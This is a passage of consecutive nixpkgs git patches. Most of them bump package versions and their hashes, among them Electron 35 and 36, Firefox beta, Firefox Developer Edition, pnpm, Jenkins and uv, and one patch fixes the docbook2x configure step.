- Diff: https://github.com/electron/electron/compare/refs/tags/v36.4.0...v36.6.0

(cherry picked from commit 72274077c54b7124f6b5968e66d61f595afd86bc)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 91b5a1b967af..e2f4ac7acae2 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "33744982d4f182df72b8b22c20fc83942a1bdadcd2358deb83000ca578dd767d",
-            "aarch64-linux": "27bf37e1cecc7683575140730cbcd4e1b0847bace2d5a705c69e6d1bcd1c0f4c",
-            "armv7l-linux": "5953b7f3747d657334b07bc47971cdbfa1b37ef807e21ef5001637aaaa43f635",
-            "headers": "0zww9rwrvi6g5vjpmxsvp1cqqkmx9rnl6yzwba8kyvyapk5daz8d",
-            "x86_64-darwin": "4d33e24a87df1f839053eba4dc8500026df46cc62b7e57c39d5ec2edecddab91",
-            "x86_64-linux": "d2ef32b2bff3fe2594774fca81abda8d617d5f6c0c40529e39900296309e4a3c"
+            "aarch64-darwin": "3fd20b4aa0bf3eee25235ee114b1fbf7dd124b888f4c0ce5ee3592f147abd42d",
+            "aarch64-linux": "f789ec88675bfbede2a661eee656a083bc585232792db9e925d017c33d9dc3ec",
+            "armv7l-linux": "9c9731c68227a3e4a634cd352802146081233e9129f39ea655c8b851a23e8fbf",
+            "headers": "1glxjnwmah7m51nw9pcf0mjnx19bjybxkcda233dfhyrxf2i8zsq",
+            "x86_64-darwin": "edbe907582e1e2a13d219dc3161f92db9867e452814894cc3b3c837679a3d827",
+            "x86_64-linux": "6a0decb3e382f32d4ab3db90aabd082ef9ee1154fe205808f887e228fdb2d355"
         },
-        "version": "36.4.0"
+        "version": "36.6.0"
     }
 }

From 0f081e259c199aa2991fb431f83fccbde16601fd Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 10:45:23 +0200
Subject: [PATCH 1677/4511] electron-chromedriver_36: 36.4.0 -> 36.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.6.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.4.0...v36.6.0

(cherry picked from commit 6deced2363b6837c51bbaf1fcf839f73166b198d)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index cfed30b50ec1..657a4f9bcd55 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "54580cb9d22b469c6eedb5a95b0f499c90e5efb79939dbe401a92461bf2ffda2",
-            "aarch64-linux": "05499a412299c811357250d00beb26c72e0e8abe9bb1c2dbbc23262399821a9e",
-            "armv7l-linux": "4296a52873910c65612e45eba86a6967033b4ee5442eb97ffb8d311eab0e5b1e",
-            "headers": "0zww9rwrvi6g5vjpmxsvp1cqqkmx9rnl6yzwba8kyvyapk5daz8d",
-            "x86_64-darwin": "971dcef573297e05befc8c8618ea5ac38501945e9cee5bf7d49e5a66718cf7b5",
-            "x86_64-linux": "215623fd1736752f70a273a2ea591a8ce0a63a3c4305866cc30c80505aadc5ca"
+            "aarch64-darwin": "5042087ef83d34433d751360cdc7f9a02cbc839c3008a781048624ceaede4ce1",
+            "aarch64-linux": "2a1386a4c5d0f5c01c2d1880378bfb26b5b972e3349f04205aeec0c17baa4d15",
+            "armv7l-linux": "f66b00fa540094d687f2f3f05115d563289353f8d997b88a8605a509ea48cc33",
+            "headers": "1glxjnwmah7m51nw9pcf0mjnx19bjybxkcda233dfhyrxf2i8zsq",
+            "x86_64-darwin": "6cdd32f63a5b41ad653316e622655686f17ab26e4bf291beefc18705d504b98d",
+            "x86_64-linux": "859c853712a4addb77d4fb1019e27063ef8825004bb93219e991cf5b4103ccb8"
         },
-        "version": "36.4.0"
+        "version": "36.6.0"
     }
 }

From a57c0802574329f1470337b588b078f735db917d Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 11:54:14 +0200
Subject: [PATCH 1678/4511] electron-source.electron_36: 36.4.0 -> 36.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.6.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.4.0...v36.6.0

(cherry picked from commit e24de4dbb73fbca4ee47e7f581082410f8c2d6b8)
---
 pkgs/development/tools/electron/info.json | 28 +++++++++++------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index d2e91a284230..6994ce93c833 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2586,7 +2586,7 @@
         "version": "35.5.1"
     },
     "36": {
-        "chrome": "136.0.7103.149",
+        "chrome": "136.0.7103.177",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2596,15 +2596,15 @@
                     "version": "2025-03-24"
                 }
             },
-            "version": "136.0.7103.149"
+            "version": "136.0.7103.177"
         },
         "chromium_npm_hash": "sha256-QRjk9X4rJW3ofizK33R4T1qym1riqcnpBhDF+FfNZLo=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-qu3+U2o7N0MSx+nifQMAfSEjxTDIBSz/DNkEZdo5uFw=",
+                    "hash": "sha256-KrRUazCSb+X51EeffwoZ4Iniok1CMpAu2hP7IzgwX7U=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "136.0.7103.149",
+                    "tag": "136.0.7103.177",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2643,10 +2643,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-DwV8hZ6iK1Pc0j/86UnrkJ6FhOXD3eCBiOk5Y14N4jg=",
+                    "hash": "sha256-wqrEmC+nWLQtrTk3hIH4n3f9/uOYBX9H8VfooTqnues=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.4.0"
+                    "tag": "v36.6.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2940,8 +2940,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-hEksLeJli/1TNNrDcUjv19cpyIJph6kfriNfe7FWO0U=",
-                    "rev": "4a53cbe7a1270c91ec60903ee792de658453becb",
+                    "hash": "sha256-5gbDmUfJI6kGKGxcbDp0CbmLr8ppvz63Nk5HV0XmMBo=",
+                    "rev": "cb82c1525a5b3d277d427b908a21a87489bec532",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2972,10 +2972,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-fGfV1IkJoAMQC49vZPgmoYW6OznOCJ4IIUNUiyLjIKE=",
+                    "hash": "sha256-rp48HOQB13nZJUByXaL8MMkHNFp/V0qtbDZgoFBIcJY=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.15.1"
+                    "tag": "v22.16.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3898,8 +3898,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-COlRcmBtuP/XBe9j4Qxikkz7ZSwcQhcWVe5+I0++OOk=",
-                    "rev": "150f01318cda02f1ef63dd79672eae6c81dd3301",
+                    "hash": "sha256-lvrFWpivbaiuv6VKCX0ZGw/PurFcZjKelcnHVNS4FsQ=",
+                    "rev": "b0a55a7dad7f536cce1f9aaddba89894c8533946",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3907,7 +3907,7 @@
         },
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "135",
-        "node": "22.15.1",
-        "version": "36.4.0"
+        "node": "22.16.0",
+        "version": "36.6.0"
     }
 }

From 4a80cdfbea378e7562a8499ae55e2269e80704e6 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 11:55:40 +0200
Subject: [PATCH 1679/4511] electron_35-bin: 35.5.1 -> 35.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.6.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.1...v35.6.0

(cherry picked from commit 74114906a5e640067dcf64ccd3362c9593e8dfca)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index e2f4ac7acae2..12bfb8450616 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "3d2759f9ba2201a22c9ea2bc2cc2b2392d00b5584a613c82f0fe2493b2c7c108",
-            "aarch64-linux": "d3338afa395d2eb9eef1a96278e6ced8aeec87c59e3eff754efdc02325b27c2f",
-            "armv7l-linux": "d73dbb4e39f21d8fcca98b59b278a3ea53728f5d0c469dcf0b88a67b4b2b50c3",
+            "aarch64-darwin": "ddf4f0838d92f604361eabea5cefc3557276e2ae3a9cff113c2bfc6b9204a114",
+            "aarch64-linux": "c3fc5a70de2e97679fd7124ebb57a7c16c465d76a00832b66a545a444eb8e9be",
+            "armv7l-linux": "9b68c777af440e0ce4fc0f0dad244cd076586c6110dffde5823c88393bacc4df",
             "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
-            "x86_64-darwin": "87b6abd92012904e2b8cf96062657e4ab9b93d60194da88f44b7d84ca281e847",
-            "x86_64-linux": "8eeaaf8035e471d4c0f4519765feb383c164168d95659d349f36d906dec02fb5"
+            "x86_64-darwin": "93bae50a81f476b07d6bc0d652bd21ec592e61135047b2e4e69c5e931c67459d",
+            "x86_64-linux": "94f3987a46b7cc39f16dc3428e304dd0dee679f3266fbea85ccfeb3daabb2c45"
         },
-        "version": "35.5.1"
+        "version": "35.6.0"
     },
     "36": {
         "hashes": {

From 830a35ed98097117134e5e399299a83f38988ef8 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 11:55:45 +0200
Subject: [PATCH 1680/4511] electron-chromedriver_35: 35.5.1 -> 35.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.6.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.1...v35.6.0

(cherry picked from commit e0049f0a1f3af8386fabaa9c140fdfd696ab0fc6)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 657a4f9bcd55..5373b55ee742 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "20f78c2d699cdfb676afe06984bce966be143755e5be6b36a7a16ceb950861d4",
-            "aarch64-linux": "1f5442d17ad795ff7e8132b20d0e31dc6c9b275a86011f9827cc1b37c9d7a191",
-            "armv7l-linux": "a384606f04e08ce777d0eb4810cbcda036c4c94fb4ccf5388f9a65a565b28c65",
+            "aarch64-darwin": "8ba99bae583c627ea97abeecb8326513e0795bc348dbf316839cdc0959815d4d",
+            "aarch64-linux": "3ebe02af15986baaefee678a23bd65928d6a7a9d8b5c5a7477ffac3492d64fe7",
+            "armv7l-linux": "9e7fd420e22b6755f08f0b6a028db1375eacf6f792cf8b5bf972fe06631b9617",
             "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
-            "x86_64-darwin": "efbc881a7599c5f250f57193d98ad08124e9f678467bc3c0977b694d3a557862",
-            "x86_64-linux": "1929735f9c3c862bad6ed90edce811f25a38daa9e9a77d49c8d39ce309fd499d"
+            "x86_64-darwin": "e2fb710c6ede2f56d985e130cdbcc9b25cb1747e7d4cd7149c97c5a445aac0b4",
+            "x86_64-linux": "59fdcbd69c17d73ea8736f77ab5c060e183704a54c60ff27dc7f7fd6d8ae362e"
         },
-        "version": "35.5.1"
+        "version": "35.6.0"
     },
     "36": {
         "hashes": {

From f3e7a1892ecf405c535caa14d127ab6c1d05e3d4 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 26 Jun 2025 11:56:44 +0200
Subject: [PATCH 1681/4511] electron-source.electron_35: 35.5.1 -> 35.6.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.6.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.1...v35.6.0

(cherry picked from commit 61223eee374a9f15f08a16bc5166609317bc0f15)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 6994ce93c833..66a1203fa894 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1334,10 +1334,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-jIEeMTY8D4o2cCmk2RupGKu9HTVFjNI+90QZlXNrOWM=",
+                    "hash": "sha256-5yRo4cokuojRGS9gZWrhT0M9Gpklbley8nb9h9j5J4c=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.5.1"
+                    "tag": "v35.6.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2583,7 +2583,7 @@
         "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
         "modules": "133",
         "node": "22.15.1",
-        "version": "35.5.1"
+        "version": "35.6.0"
     },
     "36": {
         "chrome": "136.0.7103.177",

From 9fbce2500f38bdfd3a9cb305cac37b6b8f535523 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 26 Jun 2025 15:55:18 +0000
Subject: [PATCH 1682/4511] firefox-devedition-unwrapped: 141.0b1 -> 141.0b2

(cherry picked from commit 6c57a54925d72a9142c65c1171c0e86a93c8ae50)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 6c74ffcb3ea4..294c7063419f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b1";
+  version = "141.0b2";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "a849c601ce2076422d3f3cccfc74adbbf83c72805d7ec5ae336e3e4e2c6124a2853b3817589cf5779430784fe492b43bf8a4e48f6c7761d499e4b779f105d5a1";
+    sha512 = "90b20ecbc5a83f4dbf07a136f4d098800fd601aa486a3b48d19b63316f0c3a49704370f42975549b4fb26723796c8287ccb5b251d9e2c9ca6b5b1fa9db021109";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 57e135428b8e53c1048e5717fc673455799cd27c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 26 Jun 2025 15:55:39 +0000
Subject: [PATCH 1683/4511] firefox-beta-unwrapped: 140.0b9 -> 141.0b2

(cherry picked from commit b79ae227e152989f0abd2fe5e34bb5cfefddbf1f)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index a77441834596..cd821d6f21ef 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "140.0b9";
+  version = "141.0b2";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "eb63be9dd42f5f777706c15a87e536769deb22658da6c35070962d98d03ec678409a1d09bf257c0421039cccdf7db892eb4c7aee610341a262ffae28b04b52b3";
+    sha512 = "edbdc261c1c2cb3bcbe85cec81ec064da10955766dabb1580a38b5d07c5cf11904614ca61b5b09a176e9c618387d70eb41fbfd6deb178753b38c296f41a42431";
   };
 
   meta = {

From a23fbc4319ddfa6399f76508570381df485e3d1a Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Thu, 26 Jun 2025 18:54:01 +0200
Subject: [PATCH 1684/4511] tclPackages.tdom: 0.9.5 -> 0.9.6

(cherry picked from commit c8615e54e1fcd901db972b161bf7e03162cd390e)
---
 pkgs/development/tcl-modules/by-name/td/tdom/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tcl-modules/by-name/td/tdom/package.nix b/pkgs/development/tcl-modules/by-name/td/tdom/package.nix
index 38ac7acfbcf0..12d9290417af 100644
--- a/pkgs/development/tcl-modules/by-name/td/tdom/package.nix
+++ b/pkgs/development/tcl-modules/by-name/td/tdom/package.nix
@@ -9,11 +9,11 @@
 
 mkTclDerivation rec {
   pname = "tdom";
-  version = "0.9.5";
+  version = "0.9.6";
 
   src = fetchzip {
     url = "http://tdom.org/downloads/tdom-${version}-src.tgz";
-    hash = "sha256-WjXIVnz+1Z59fQHMHXzQaIRRwfiBHMTBq/p2alGF+Po=";
+    hash = "sha256-zN855tb9JQUtcB7K1DeAjUBrqhoNH44KbeHwp3qewqw=";
   };
 
   buildInputs = [

From dc90d0beefabd18ccaec2b786f19c8f4d29fa675 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 04:15:12 +0000
Subject: [PATCH 1685/4511] pnpm: 10.12.3 -> 10.12.4

(cherry picked from commit ed36821449e7d093bd55afe65378cedd653d6db7)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 93ce38acf6b2..f80c99449696 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.12.3";
-      hash = "sha256-6XFzlGofF14dbCJFJ5Z6X0aLSCFXL69qxSf97O+sZM0=";
+      version = "10.12.4";
+      hash = "sha256-yt/Z5sn8wst2/nwHeaUlC2MomK6l9T2DOnNpDHeneNk=";
     };
   };
 

From e8923bfa31b86d9971eeeec6232ace51af4aa1cb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 21:09:27 +0000
Subject: [PATCH 1686/4511] babl: 0.1.112 -> 0.1.114

(cherry picked from commit 00d3ed84420e7fb55508972e540b0b7bf1868553)
---
 pkgs/by-name/ba/babl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ba/babl/package.nix b/pkgs/by-name/ba/babl/package.nix
index e99f319fb7e5..9a9c7f5ac305 100644
--- a/pkgs/by-name/ba/babl/package.nix
+++ b/pkgs/by-name/ba/babl/package.nix
@@ -13,7 +13,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "babl";
-  version = "0.1.112";
+  version = "0.1.114";
 
   outputs = [
     "out"
@@ -23,7 +23,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://download.gimp.org/pub/babl/${lib.versions.majorMinor finalAttrs.version}/babl-${finalAttrs.version}.tar.xz";
-    hash = "sha256-+2lmgkIXh8j+zIPoqrSBId7I7jjRGbZSkc/L4xUCink=";
+    hash = "sha256-vLt3hsHkR3A9s7x/o01i0NLRF7IvBNiDTHstXe1FZIc=";
   };
 
   patches = [

From 6a26c951faf89e7572138b28992dd4cd097752a2 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Thu, 26 Jun 2025 14:45:40 +0200
Subject: [PATCH 1687/4511] jenkins: 2.504.2 -> 2.504.3

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 548e60daf5bc53116dfe3c69f3f62bf72409d0f3)
---
 pkgs/by-name/je/jenkins/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index 09fbba262277..268112325414 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -18,11 +18,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "jenkins";
-  version = "2.504.2";
+  version = "2.504.3";
 
   src = fetchurl {
     url = "https://get.jenkins.io/war-stable/${finalAttrs.version}/jenkins.war";
-    hash = "sha256-5SNHwB3TkRbDZPt+ureNFWvOj2rdKEhP9XH+DQ+uq/Y=";
+    hash = "sha256-6oiDQxuLXva2j+DlgXyT3AoR3vOABU594xNkhnlu/rA=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 86d5a88b25ccb27c15c0baffd5db798d579a5c7d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 21:53:17 +0000
Subject: [PATCH 1688/4511] beam26Packages.hex: 2.2.1 -> 2.2.2

(cherry picked from commit f50a329839c861c2e15449971f6ec4d6407d83d3)
---
 pkgs/development/beam-modules/hex/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/beam-modules/hex/default.nix b/pkgs/development/beam-modules/hex/default.nix
index 13863f70044b..c773d15241c0 100644
--- a/pkgs/development/beam-modules/hex/default.nix
+++ b/pkgs/development/beam-modules/hex/default.nix
@@ -18,13 +18,13 @@ let
     self:
     stdenv.mkDerivation rec {
       pname = "hex";
-      version = "2.2.1";
+      version = "2.2.2";
 
       src = fetchFromGitHub {
         owner = "hexpm";
         repo = "hex";
         rev = "v${version}";
-        sha256 = "sha256-a4VNBlvW+IM7HuI66dYGqOmIF9kO6wWFqVz4vYtQOhw=";
+        sha256 = "sha256-Qih10OeI7KsnAthAW0yuH+YL8uoeLy7tOVn9rdkGA4M=";
       };
 
       setupHook = writeText "setupHook.sh" ''

From 5e2d9d8bc5cbd3b1aea7a5c8c4a4ed9d01ea757a Mon Sep 17 00:00:00 2001
From: Alba Mendez <me@alba.sh>
Date: Thu, 12 Jun 2025 20:39:24 +0200
Subject: [PATCH 1689/4511] docbook2x: allow configure to find osx

Fixes #412735.

#358347 / #400315 left the package broken because configure searces for osx in PATH and hardcodes its path on the Perl code. strictDeps logically prevents the dependency from being in PATH, so an empty string is hardcoded and `sgml2xml-isoent` doesn't work.

The best fix that comes to mind is overriding the autoconf test result via the environment variable.

(cherry picked from commit d822ab9f51d73b214c5fc5c6fefd04d653d0c74c)
---
 pkgs/by-name/do/docbook2x/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/do/docbook2x/package.nix b/pkgs/by-name/do/docbook2x/package.nix
index e266b8835ee1..7833b91a3c39 100644
--- a/pkgs/by-name/do/docbook2x/package.nix
+++ b/pkgs/by-name/do/docbook2x/package.nix
@@ -52,6 +52,11 @@ stdenv.mkDerivation rec {
       XMLNamespaceSupport
     ]);
 
+  # configure tries to find osx in PATH and hardcodes the resulting path
+  # (if any) on the Perl code. this fails under strictDeps, so override
+  # the autoconf test:
+  OSX = "${opensp}/bin/osx";
+
   postConfigure = ''
     # Broken substitution is used for `perl/config.pl', which leaves literal
     # `$prefix' in it.

From ead6211ee66d85a8e35053ba6a7abfc3a3d5c493 Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sun, 8 Jun 2025 12:43:25 +0200
Subject: [PATCH 1690/4511] socklog: 2.1.0 -> 2.1.1

(cherry picked from commit 30a989774a67f59381dbb4077619a796017f73dd)
---
 pkgs/by-name/so/socklog/package.nix | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/pkgs/by-name/so/socklog/package.nix b/pkgs/by-name/so/socklog/package.nix
index 1a50a47c4012..868bbca5aa5c 100644
--- a/pkgs/by-name/so/socklog/package.nix
+++ b/pkgs/by-name/so/socklog/package.nix
@@ -4,16 +4,16 @@
   fetchurl,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "socklog";
-  version = "2.1.0";
+  version = "2.1.1";
 
   src = fetchurl {
-    url = "https://smarden.org/socklog/socklog-${version}.tar.gz";
-    sha256 = "0mdlmhiq2j2fip7c4l669ams85yc3c1s1d89am7dl170grw9m1ma";
+    url = "https://smarden.org/socklog/socklog-${finalAttrs.version}.tar.gz";
+    hash = "sha256-6xk3JB1seyoEArSf/evwIrsvzaPgDBsaF66Lzx5KObo=";
   };
 
-  sourceRoot = "admin/socklog-${version}";
+  sourceRoot = "admin/socklog-${finalAttrs.version}";
 
   outputs = [
     "out"
@@ -24,11 +24,6 @@ stdenv.mkDerivation rec {
   postPatch = ''
     # Fails to run as user without supplementary groups
     echo "int main() { return 0; }" >src/chkshsgr.c
-
-    # Fixup implicit function declarations
-    sed -i src/pathexec_run.c -e '1i#include <unistd.h>'
-    sed -i src/prot.c -e '1i#include <unistd.h>' -e '2i#include <grp.h>'
-    sed -i src/seek_set.c -e '1i#include <unistd.h>'
   '';
 
   configurePhase = ''
@@ -55,11 +50,11 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  meta = with lib; {
+  meta = {
     description = "System and kernel logging services";
     homepage = "https://smarden.org/socklog/";
-    license = licenses.publicDomain;
-    platforms = platforms.unix;
-    maintainers = [ maintainers.joachifm ];
+    license = lib.licenses.publicDomain;
+    platforms = lib.platforms.unix;
+    maintainers = with lib.maintainers; [ joachifm ];
   };
-}
+})

From 71e5589dbef0c1fe15279c9cbcf20dbdf3d638bb Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 17 May 2025 11:03:46 +0800
Subject: [PATCH 1691/4511] uv: 0.7.4 -> 0.7.5 (cherry picked from commit
 91efdffc55d3ddd2b68b3d8b2c4eb42fb77c9f29)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 9c57f911f356..6048901364ff 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.4";
+  version = "0.7.5";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-Lj+qznkYIO7tu12Db2k6hzfh02Ph+Nj6n6j7ncTbPXE=";
+    hash = "sha256-sE0d18lA9pA/EpzwXZ8RSucQ5eVtnkyoTzkrB5sAaO4=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-awKbKDyU8r7pdPlce0a0mLavrfnvMssyf/VDD6LRm7Q=";
+  cargoHash = "sha256-xrusRs2PEEHzEOTvJ8vcpn/uxbeW5APcFbJZNZPzs1U=";
 
   buildInputs = [
     rust-jemalloc-sys

From afe501fb2328959f6189b8dc2e21ffd41fb177d8 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 20 May 2025 11:11:29 +0800
Subject: [PATCH 1692/4511] uv: 0.7.5 -> 0.7.6 (cherry picked from commit
 dbd06b2fbf88cf94f7b96c8af38c8458dca2c246)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 6048901364ff..d039aad90e20 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.5";
